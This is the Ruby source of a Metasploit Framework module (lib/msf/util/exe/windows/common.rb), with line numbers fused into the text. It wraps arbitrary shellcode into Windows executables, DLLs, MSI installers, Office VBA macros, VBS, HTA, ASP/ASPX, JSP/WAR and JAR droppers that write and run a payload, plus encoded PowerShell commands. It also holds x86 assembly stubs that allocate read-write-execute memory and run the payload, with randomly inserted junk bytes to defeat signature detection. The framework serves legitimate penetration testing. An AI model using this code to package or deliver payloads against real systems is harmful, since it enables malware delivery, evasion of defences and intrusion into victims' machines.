Path: blob/master/lib/msf/util/exe/windows/common.rb
36043 views
module Msf::Util::EXE::Windows::Common1include Msf::Util::EXE::Common23def self.included(base)4base.extend(ClassMethods)5end67module ClassMethods8# exe_sub_method9#10# @param code [String]11# @param opts [Hash]12# @option opts [Symbol] :exe_type13# @option opts [String] :service_exe14# @option opts [Boolean] :sub_method15# @return [String]16def exe_sub_method(code,opts ={})17pe = self.get_file_contents(opts[:template])1819case opts[:exe_type]20when :service_exe21opts[:exe_max_sub_length] ||= 819222name = opts[:servicename]23if name24bo = pe.index('SERVICENAME')25unless bo26raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"27end28pe[bo, 11] = [name].pack('a11')29end30pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]31when :dll32opts[:exe_max_sub_length] ||= 409633when :exe_sub34opts[:exe_max_sub_length] ||= 409635end3637bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")3839if code.length <= opts.fetch(:exe_max_sub_length)40pe[bo, code.length] = [code].pack("a*")41else42raise RuntimeError, "The EXE generator now has a max size of " +43"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"44end4546if opts[:exe_type] == :dll47mt = pe.index('MUTEX!!!')48pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt49%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|50offset = pe.index(name)51pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset52end5354if opts[:dll_exitprocess]55exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"56exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"57et_index = pe.index(exit_thread)58if et_index59pe[et_index,exit_process.length] = exit_process60else61raise RuntimeError, "Unable to find and replace ExitThread in the DLL."62end63end64end6566pe67end6869# Clears the DYNAMIC_BASE flag for a Windows executable70#71# @param exe [String] The raw executable to be modified by the method72# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file73# @return [String] the modified executable74def clear_dynamic_base(exe, pe)75c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse76c_bits[6] = 0 # DYNAMIC_BASE77new_dllcharacteristics = c_bits.reverse.join.to_i(2)7879# PE Header Pointer offset = 60d80# SizeOfOptionalHeader offset = 94h81dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 9482exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")83exe84end8586# self.set_template_default_winpe_dll87#88# Set the default winpe DLL template. It will select the template based on the parameters provided including the size89# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.90#91# @param opts [Hash]92# @param arch The architecture, as one the predefined constants.93# @param size [Integer] The size of the payload.94# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'95def set_template_default_winpe_dll(opts, arch, size, flavor: nil)96return if opts[:template].present?9798# dynamic size upgrading is only available when MSF selects the template because there's currently no way to99# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB100match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }101if match102opts[:exe_max_sub_length] = match.first103size_suffix = match.last104end105106arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)107raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?108109if flavor.present?110unless %w[mixed_mode dccw_gdiplus].include?(flavor)111raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'112end113114flavor = '_' + flavor115end116117set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")118end119120121# Wraps an executable inside a Windows .msi file for auto execution when run122#123# @param framework [Msf::Framework] The framework of you want to use124# @param exe [String]125# @param opts [Hash]126# @option opts [String] :msi_template_path127# @option opts [String] :msi_template128# @return [String]129def to_exe_msi(framework, exe, opts = {})130if opts[:uac]131opts[:msi_template] ||= "template_windows.msi"132else133opts[:msi_template] ||= "template_nouac_windows.msi"134end135replace_msi_buffer(exe, opts)136end137138#self.replace_msi_buffer139#140# @param pe [String]141# @param opts [String]142# @option [String] :msi_template143# @option [String] :msi_template_path144# @return [String]145def replace_msi_buffer(pe, opts)146opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")147148if opts[:msi_template].include?(File::SEPARATOR)149template = opts[:msi_template]150else151template = File.join(opts[:msi_template_path], opts[:msi_template])152end153154msi = self.get_file_contents(template)155156section_size = 2**(msi[30..31].unpack('v')[0])157158# This table is one of the few cases where signed values are needed159sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')160161buffer_chain = []162163# This is closely coupled with the template provided and ideally164# would be calculated from the dir stream?165current_secid = 5166167until current_secid == -2168buffer_chain << current_secid169current_secid = sector_allocation_table[current_secid]170end171172buffer_size = buffer_chain.length * section_size173174if pe.size > buffer_size175raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"176end177178pe_block_start = 0179pe_block_end = pe_block_start + section_size - 1180181buffer_chain.each do |section|182block_start = section_size * (section + 1)183block_end = block_start + section_size - 1184pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")185msi[block_start..block_end] = pe_block186pe_block_start = pe_block_end + 1187pe_block_end += section_size188end189190msi191end192193# to_exe_vba194#195# @param exes [String]196def to_exe_vba(exes = '')197exe = exes.unpack('C*')198hash_sub = {}199idx = 0200maxbytes = 2000201var_base_idx = 0202var_base = Rex::Text.rand_text_alpha(5).capitalize203204# First write the macro into the vba file205hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize206hash_sub[:var_fname] = var_base + (var_base_idx += 1).to_s207hash_sub[:var_fenvi] = var_base + (var_base_idx += 1).to_s208hash_sub[:var_fhand] = var_base + (var_base_idx += 1).to_s209hash_sub[:var_parag] = var_base + (var_base_idx += 1).to_s210hash_sub[:var_itemp] = var_base + (var_base_idx += 1).to_s211hash_sub[:var_btemp] = var_base + (var_base_idx += 1).to_s212hash_sub[:var_appnr] = var_base + (var_base_idx += 1).to_s213hash_sub[:var_index] = var_base + (var_base_idx += 1).to_s214hash_sub[:var_gotmagic] = var_base + (var_base_idx += 1).to_s215hash_sub[:var_farg] = var_base + (var_base_idx += 1).to_s216hash_sub[:var_stemp] = var_base + (var_base_idx += 1).to_s217hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8..15))218219# Function 1 extracts the binary220hash_sub[:func_name1] = var_base + (var_base_idx += 1).to_s221222# Function 2 executes the binary223hash_sub[:func_name2] = var_base + (var_base_idx + 1).to_s224225hash_sub[:data] = ''226227# Writing the bytes of the exe to the file2281.upto(exe.length) do |_pc|229while (c = exe[idx])230hash_sub[:data] << "&H#{('%.2x' % c).upcase}"231if idx > 1 && (idx % maxbytes) == 0232# When maxbytes are written make a new paragrpah233hash_sub[:data] << "\r\n"234end235idx += 1236end237end238239read_replace_script_template('to_exe.vba.template', hash_sub)240end241242# to_vba243#244# @param framework [Msf::Framework]245# @param code [String]246# @param opts [Hash] Unused247def to_vba(framework, code, opts = {})248hash_sub = {}249hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize250hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize251hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize252hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize253hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize254hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize255hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize256hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize257hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize258hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize259hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize260hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize261hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize262hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize263hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize264hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize265hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize266hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize267268# put the shellcode bytes into an array269hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])270271read_replace_script_template('to_mem.vba.template', hash_sub)272end273274# to_powershell_vba275#276# @param framework [Msf::Framework]277# @param arch [String]278# @param code [String]279#280def to_powershell_vba(framework, arch, code)281template_path = Rex::Powershell::Templates::TEMPLATE_DIR282283powershell = Rex::Powershell::Command.cmd_psh_payload(code,284arch,285template_path,286encode_final_payload: true,287remove_comspec: true,288method: 'reflection')289290# Initialize rig and value names291rig = Rex::RandomIdentifier::Generator.new292rig.init_var(:sub_auto_open)293rig.init_var(:var_powershell)294295hash_sub = rig.to_h296# VBA has a maximum of 24 line continuations297line_length = powershell.length / 24298vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'299300hash_sub[:powershell] = vba_psh301302read_replace_script_template('to_powershell.vba.template', hash_sub)303end304305306# to_exe_vba307#308# @param exes [String]309# @param opts [Hash]310# @option opts [String] :delay311# @option opts [String] :persists312# @option opts [String] :exe_filename313def to_exe_vbs(exes = '', opts = {})314delay = opts[:delay] || 5315persist = opts[:persist] || false316317hash_sub = {}318hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8..15)) << '.exe'319hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8..15)) << '.b64'320hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8..15))321hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))322hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))323hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))324hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))325hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))326hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))327hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))328hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)329hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8..15))330hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8..15))331hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8..15))332hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8..15))333hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8..15))334hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8..15))335hash_sub[:init] = ''336337if persist338hash_sub[:init] << "Do\r\n"339hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"340hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"341hash_sub[:init] << "Loop\r\n"342else343hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"344end345346read_replace_script_template('to_exe.vbs.template', hash_sub)347end348349# to_exe_asp350#351# @param exes [String]352# @param opts [Hash] Unused353def to_exe_asp(exes = '', opts = {})354hash_sub = {}355hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4..7)) # repeated a large number of times, so keep this one small356hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))357hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))358hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8..15))359hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))360hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))361hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))362hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))363hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))364hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])365read_replace_script_template('to_exe.asp.template', hash_sub)366end367368# self.to_exe_aspx369#370# @param exes [String]371# @option opts [Hash]372def to_exe_aspx(exes = '', opts = {})373hash_sub = {}374hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8..15))375hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))376hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))377hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8..15))378hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))379hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8..15))380hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))381hash_sub[:shellcode] = Rex::Text.to_csharp(exes, 100, hash_sub[:var_file])382read_replace_script_template('to_exe.aspx.template', hash_sub)383end384385def to_mem_aspx(framework, code, exeopts = {})386# Initialize rig and value names387rig = Rex::RandomIdentifier::Generator.new388rig.init_var(:var_funcAddr)389rig.init_var(:var_hThread)390rig.init_var(:var_pInfo)391rig.init_var(:var_threadId)392rig.init_var(:var_bytearray)393394hash_sub = rig.to_h395hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])396397read_replace_script_template('to_mem.aspx.template', hash_sub)398end399400def to_win32pe_psh_net(framework, code, opts = {})401Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)402end403404def to_win32pe_psh(framework, code, opts = {})405Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)406end407408#409# Reflection technique prevents the temporary .cs file being created for the .NET compiler410# Tweaked by shellster411# Originally from PowerSploit412#413def to_win32pe_psh_reflection(framework, code, opts = {})414Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)415end416417def to_powershell_command(framework, arch, code)418template_path = Rex::Powershell::Templates::TEMPLATE_DIR419Rex::Powershell::Command.cmd_psh_payload(code,420arch,421template_path,422encode_final_payload: true,423method: 'reflection')424end425426def to_powershell_ducky_script(framework, arch, code)427template_path = Rex::Powershell::Templates::TEMPLATE_DIR428powershell = Rex::Powershell::Command.cmd_psh_payload(code,429arch,430template_path,431encode_final_payload: true,432method: 'reflection')433replacers = {}434replacers[:var_payload] = powershell435read_replace_script_template('to_powershell.ducky_script.template', replacers)436end437438def to_powershell_hta(framework, arch, code)439template_path = Rex::Powershell::Templates::TEMPLATE_DIR440441powershell = Rex::Powershell::Command.cmd_psh_payload(code,442arch,443template_path,444encode_final_payload: true,445remove_comspec: true,446method: 'reflection')447448# Initialize rig and value names449rig = Rex::RandomIdentifier::Generator.new450rig.init_var(:var_shell)451rig.init_var(:var_fso)452453hash_sub = rig.to_h454hash_sub[:powershell] = powershell455456read_replace_script_template('to_powershell.hta.template', hash_sub)457end458459def to_jsp(exe)460hash_sub = {}461hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8..15))462hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8..15))463hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8..15))464hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8..15))465hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8..15))466hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8..15))467hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8..15))468hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))469hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8..15))470hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8..15))471hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8..15))472473payload_hex = exe.unpack('H*')[0]474hash_sub[:payload] = payload_hex475476read_replace_script_template('to_exe.jsp.template', hash_sub)477end478479# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a480# payload. The jsp page converts the hexdump back to a normal binary file481# and places it in the temp directory. The payload file is then executed.482#483# @see to_war484# @param exe [String] Executable to drop and run.485# @param opts (see to_war)486# @option opts (see to_war)487# @return (see to_war)488def to_jsp_war(exe, opts = {})489template = to_jsp(exe)490to_war(template, opts)491end492493def to_win32pe_vbs(framework, code, opts = {})494to_exe_vbs(to_win32pe(framework, code, opts), opts)495end496497def to_win64pe_vbs(framework, code, opts = {})498to_exe_vbs(to_win64pe(framework, code, opts), opts)499end500501# Creates a jar file that drops the provided +exe+ into a random file name502# in the system's temp dir and executes it.503#504# @see Msf::Payload::Java505#506# @return [Rex::Zip::Jar]507def to_jar(exe, opts = {})508spawn = opts[:spawn] || 2509exe_name = Rex::Text.rand_text_alpha(8) + '.exe'510zip = Rex::Zip::Jar.new511zip.add_sub('metasploit') if opts[:random]512paths = [513[ 'metasploit', 'Payload.class' ],514]515516zip.add_file('metasploit/', '')517paths.each do |path_parts|518path = ['java', path_parts].flatten.join('/')519contents = ::MetasploitPayloads.read(path)520zip.add_file(path_parts.join('/'), contents)521end522523zip.build_manifest main_class: 'metasploit.Payload'524config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"525zip.add_file('metasploit.dat', config)526zip.add_file(exe_name, exe)527528zip529end530531# Creates a .NET DLL which loads data into memory532# at a specified location with read/execute permissions533# - the data will be loaded at: base+0x2065534# - default max size is 0x8000 (32768)535# @param base [Integer] Default location set to base 0x12340000536# @param data [String]537# @param opts [Hash]538# @option [String] :template539# @option [String] :base_offset540# @option [String] :timestamp_offset541# @option [String] :text_offset542# @option [String] :pack543# @option [String] :uuid_offset544# @return [String]545def to_dotnetmem(base = 0x12340000, data = '', opts = {})546# Allow the user to specify their own DLL template547set_template_default(opts, 'dotnetmem.dll')548549pe = get_file_contents(opts[:template])550551# Configure the image base552base_offset = opts[:base_offset] || 180553pe[base_offset, 4] = [base].pack('V')554555# Configure the TimeDateStamp556timestamp_offset = opts[:timestamp_offset] || 136557pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')558559# XXX: Unfortunately we cant make this RWX only RX560# Mark this segment as read-execute AND writable561# pe[412,4] = [0xe0000020].pack("V")562563# Write the data into the .text segment564text_offset = opts[:text_offset] || 0x1065565text_max = opts[:text_max] || 0x8000566pack = opts[:pack] || 'a32768'567pe[text_offset, text_max] = [data].pack(pack)568569# Generic a randomized UUID570uuid_offset = opts[:uuid_offset] || 37656571pe[uuid_offset, 16] = Rex::Text.rand_text(16)572573pe574end575576# This wrapper is responsible for allocating RWX memory, copying the577# target code there, setting an exception handler that calls ExitProcess578# and finally executing the code.579def win32_rwx_exec(code)580stub_block = Rex::Payloads::Shuffle.from_graphml_file(581File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),582arch: ARCH_X86,583name: 'api_call'584)585586stub_exit = %^587; Input: EBP must be the address of 'api_call'.588; Output: None.589; Clobbers: EAX, EBX, (ESP will also be modified)590; Note: Execution is not expected to (successfully) continue past this block591592exitfunk:593mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...594push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )595mov eax, ebp596call eax ; GetVersion(); (AL will = major version and AH will = minor version)597cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7598jl goodbye ; Then just call the exit function...599cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...600jne goodbye ;601mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread602goodbye: ; We now perform the actual call to the exit function603push byte 0 ; push the exit function parameter604push ebx ; push the hash of the exit function605call ebp ; call EXITFUNK( 0 );606^607608stub_alloc = %^609cld ; Clear the direction flag.610call start ; Call start, this pushes the address of 'api_call' onto the stack.611delta: ;612#{stub_block}613start: ;614pop ebp ; Pop off the address of 'api_call' for calling later.615616allocate_size:617mov esi, #{code.length}618619allocate:620push byte 0x40 ; PAGE_EXECUTE_READWRITE621push 0x1000 ; MEM_COMMIT622push esi ; Push the length value of the wrapped code block623push byte 0 ; NULL as we dont care where the allocation is.624push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )625call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );626627mov ebx, eax ; Store allocated address in ebx628mov edi, eax ; Prepare EDI with the new address629mov ecx, esi ; Prepare ECX with the length of the code630call get_payload631got_payload:632pop esi ; Prepare ESI with the source to copy633rep movsb ; Copy the payload to RWX memory634call set_handler ; Configure error handling635636exitblock:637#{stub_exit}638set_handler:639xor eax,eax640push dword [fs:eax]641mov dword [fs:eax], esp642call ebx643jmp exitblock644^645646stub_final = %(647get_payload:648call got_payload649payload:650; Append an arbitrary payload here651)652653stub_alloc.gsub!('short', '')654stub_alloc.gsub!('byte', '')655656wrapper = ''657# regs = %W{eax ebx ecx edx esi edi ebp}658659cnt_jmp = 0660stub_alloc.each_line do |line|661line.gsub!(/;.*/, '')662line.strip!663next if line.empty?664665wrapper << "nop\n" if rand(2) == 0666667if rand(2) == 0668wrapper << "jmp autojump#{cnt_jmp}\n"6691.upto(rand(8..15)) do670wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"671end672wrapper << "autojump#{cnt_jmp}:\n"673cnt_jmp += 1674end675wrapper << line + "\n"676end677678wrapper << stub_final679680enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded681enc.data + code682end683684# This wrapper is responsible for allocating RWX memory, copying the685# target code there, setting an exception handler that calls ExitProcess,686# starting the code in a new thread, and finally jumping back to the next687# code to execute. block_offset is the offset of the next code from688# the start of this code689def win32_rwx_exec_thread(code, block_offset, which_offset = 'start')690stub_block = Rex::Payloads::Shuffle.from_graphml_file(691File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),692arch: ARCH_X86,693name: 'api_call'694)695696stub_exit = %^697; Input: EBP must be the address of 'api_call'.698; Output: None.699; Clobbers: EAX, EBX, (ESP will also be modified)700; Note: Execution is not expected to (successfully) continue past this block701702exitfunk:703mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...704push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )705call ebp ; GetVersion(); (AL will = major version and AH will = minor version)706cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7707jl goodbye ; Then just call the exit function...708cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...709jne goodbye ;710mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread711goodbye: ; We now perform the actual call to the exit function712push byte 0 ; push the exit function parameter713push ebx ; push the hash of the exit function714call ebp ; call EXITFUNK( 0 );715^716717stub_alloc = %^718pushad ; Save registers719cld ; Clear the direction flag.720call start ; Call start, this pushes the address of 'api_call' onto the stack.721delta: ;722#{stub_block}723start: ;724pop ebp ; Pop off the address of 'api_call' for calling later.725726allocate_size:727mov esi,#{code.length}728729allocate:730push byte 0x40 ; PAGE_EXECUTE_READWRITE731push 0x1000 ; MEM_COMMIT732push esi ; Push the length value of the wrapped code block733push byte 0 ; NULL as we dont care where the allocation is.734push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )735call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );736737mov ebx, eax ; Store allocated address in ebx738mov edi, eax ; Prepare EDI with the new address739mov ecx, esi ; Prepare ECX with the length of the code740call get_payload741got_payload:742pop esi ; Prepare ESI with the source to copy743rep movsb ; Copy the payload to RWX memory744call set_handler ; Configure error handling745746exitblock:747#{stub_exit}748749set_handler:750xor eax,eax751; push dword [fs:eax]752; mov dword [fs:eax], esp753push eax ; LPDWORD lpThreadId (NULL)754push eax ; DWORD dwCreationFlags (0)755push eax ; LPVOID lpParameter (NULL)756push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)757push eax ; SIZE_T dwStackSize (0 for default)758push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)759push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" )760call ebp ; Spawn payload thread761762pop eax ; Skip763; pop eax ; Skip764pop eax ; Skip765popad ; Get our registers back766; sub esp, 44 ; Move stack pointer back past the handler767^768769stub_final = %(770get_payload:771call got_payload772payload:773; Append an arbitrary payload here774)775776stub_alloc.gsub!('short', '')777stub_alloc.gsub!('byte', '')778779wrapper = ''780# regs = %W{eax ebx ecx edx esi edi ebp}781782cnt_jmp = 0783cnt_nop = 64784785stub_alloc.each_line do |line|786line.gsub!(/;.*/, '')787line.strip!788next if line.empty?789790if cnt_nop > 0 && rand(4) == 0791wrapper << "nop\n"792cnt_nop -= 1793end794795if cnt_nop > 0 && rand(16) == 0796cnt_nop -= 2797cnt_jmp += 1798799wrapper << "jmp autojump#{cnt_jmp}\n"8001.upto(rand(1..8)) do801wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"802cnt_nop -= 1803end804wrapper << "autojump#{cnt_jmp}:\n"805end806wrapper << line + "\n"807end808809# @TODO: someone who knows how to use metasm please explain the right way to do this.810wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"811wrapper << stub_final812813enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded814soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1815res = enc.data + code816817if which_offset == 'start'818res[soff, 4] = [block_offset - (soff + 4)].pack('V')819elsif which_offset == 'end'820res[soff, 4] = [res.length - (soff + 4) + block_offset].pack('V')821else822raise 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'823end824res825end826end827class << self828include ClassMethods829end830end831832833